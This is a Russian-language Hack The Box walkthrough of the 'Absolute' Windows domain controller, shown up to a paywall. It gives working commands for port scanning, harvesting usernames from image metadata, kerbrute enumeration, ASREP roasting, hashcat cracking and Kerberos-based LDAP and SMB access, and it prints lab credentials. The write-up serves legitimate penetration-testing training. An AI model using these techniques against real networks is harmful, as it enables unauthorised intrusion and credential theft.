Содержание статьи
Наша цель — захват рута на тренировочной машине Absolute с площадки Hack The Box. Сложность прохождения оценена как «безумная». Тем интереснее оно будет!
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.181 absolute.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).

Сканер обнаружил много открытых портов, что типично для серверов с Windows:
- 53 — служба DNS;
- 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
- 88 — служба Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC), используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — служба LDAP;
- 445 — служба SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — служба удаленного управления WinRM;
- 9389 — веб‑службы AD DS.
Ни одна служба не позволила пройти аутентификацию от имени пользователя guest
, поэтому идем смотреть, что нам покажет веб‑сервер.

Точка входа
На сайте ничего интересного нет, но всегда стоит изучать метаданные всех приложенных файлов. На сайте нам доступны только картинки, берем любую из них (мне попалась под руку hero_5.
), скачиваем и проверяем метаданные.
exiftool hero_5.jpg

В поле автора явно имя пользователя! Скачиваем все доступные картинки и извлекаем оттуда имена. Интересно, что они все разные.
exiftool hero_*.jpg | grep Author

Так как на сервере активна служба Kerberos, мы можем перебрать имена пользователей. Kerberos имеет три разных варианта ответа в случае неверной аутентификации:
- учетные данные неверны;
- нет такого пользователя;
- предварительная аутентификация не требуется.
При этом для каждого пользователя у нас есть имя и фамилия, поэтому я накидал простой скрипт, чтобы сгенерировать все возможные варианты имен учетных записей из представленных пар.
names = ["James Roberts", "Michael Chaffrey", "Donald Klay", "Sarah Osvald", "Jeffer Robinson", "Nicole Smith"]list = ["Administrator", "Guest"]for name in names: n1, n2 = name.split(' ') list.append(n1) list.append(n1+n2) list.append(n1+"."+n2) list.append(n1+n2[0]) list.append(n1+"."+n2[0]) list.append(n2[0]+n1) list.append(n2[0]+"."+n1) list.append(n2) list.append(n2+n1) list.append(n2+"."+n1) list.append(n2+n1[0]) list.append(n2+"."+n1[0]) list.append(n1[0]+n2) list.append(n1[0]+"."+n2)for n in list: print(n)
А теперь выполняем перебор имен пользователей с помощью утилиты kerbrute.
./kerbrute_linux_amd64 userenum --dc absolute.htb -d absolute.htb test_users.txt

Получаем список из семи существующих учетных записей. Я уже говорил, что есть вариант, при котором для учетной записи не требуется предварительная аутентификация. Давай просканируем наших пользователей с применением техники ASRep Roasting. Она позволяет получить пользовательский билет, из которого перебором можно извлечь пароль пользователя. Выполним данную атаку с помощью скрипта GetNPUsers из набора impacket.
impacket-GetNPUsers absolute.htb/ -no-pass -usersfile users.txt

Чтобы перебрать хеш с помощью hashcat, нужно знать режим перебора. Его можно найти в справке hashcat.
hashcat --example | grep 'krb5asrep' -A2 -B12

Теперь указываем режим 18200 и перебираем полученный хеш.
hashcat -a 0 -m 18200 klay_hash.krb5asrep rockyou.txt

И получаем пароль пользователя D.Klay.
Продвижение
Пользователь svc_smb
Проверим полученные учетные данные, попытавшись подключиться к службе SMB с помощью универсального средства CrackMapExec.
crackmapexec smb 10.10.11.181 -u D.Klay -p Darkmoonsky248girl

Ничего не вышло, так как не работает NTLM-аутентификация. Поэтому используем аутентификацию Kerberos, для чего выписываем тикет с помощью скрипта getTGT из набора impacket. Не забываем выставить одинаковое время на клиенте и сервере. Чтобы не делать это вручную, можно автоматически синхронизировать время с помощью net
.
sudo timedatectl set-ntp falsesudo net time set -S 10.10.11.181
impacket-getTGT 'absolute.htb/D.Klay@absolute.htb:Darkmoonsky248girl'

А теперь повторим подключение к SMB с аутентификацией Kerberos.
export KRB5CCNAME=D.Klay@absolute.htb.ccache
cme smb 10.10.11.181 -u D.Klay -d absolute.htb -k --kdcHost dc.absolute.htb

И снова неудача, хотя в ответе видим, что эта служба не прописана в билете. Пробуем подключиться к LDAP.
cme ldap 10.10.11.181 -u D.Klay -d absolute.htb -k --kdcHost dc.absolute.htb

Подключение успешное, и мы можем работать с LDAP. Первым делом запрашиваем всех пользователей. Это можно сделать, указав флаг --users
.
cme ldap 10.10.11.181 -u D.Klay -d absolute.htb -k --kdcHost dc.absolute.htb --users

В описании пользователя svc_smb
, скорее всего, записан пароль. Выписываем билет для этой учетки и пробуем авторизоваться на SMB.
impacket-getTGT 'absolute.htb/svc_smb@absolute.htb:AbsoluteSMBService123!'export KRB5CCNAME=svc_smb@absolute.htb.ccache
impacket-smbclient svc_smb@dc.absolute.htb -k -no-passshares

Мы получили доступ к общему ресурсу домена.
Пользователь m.lovegod
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»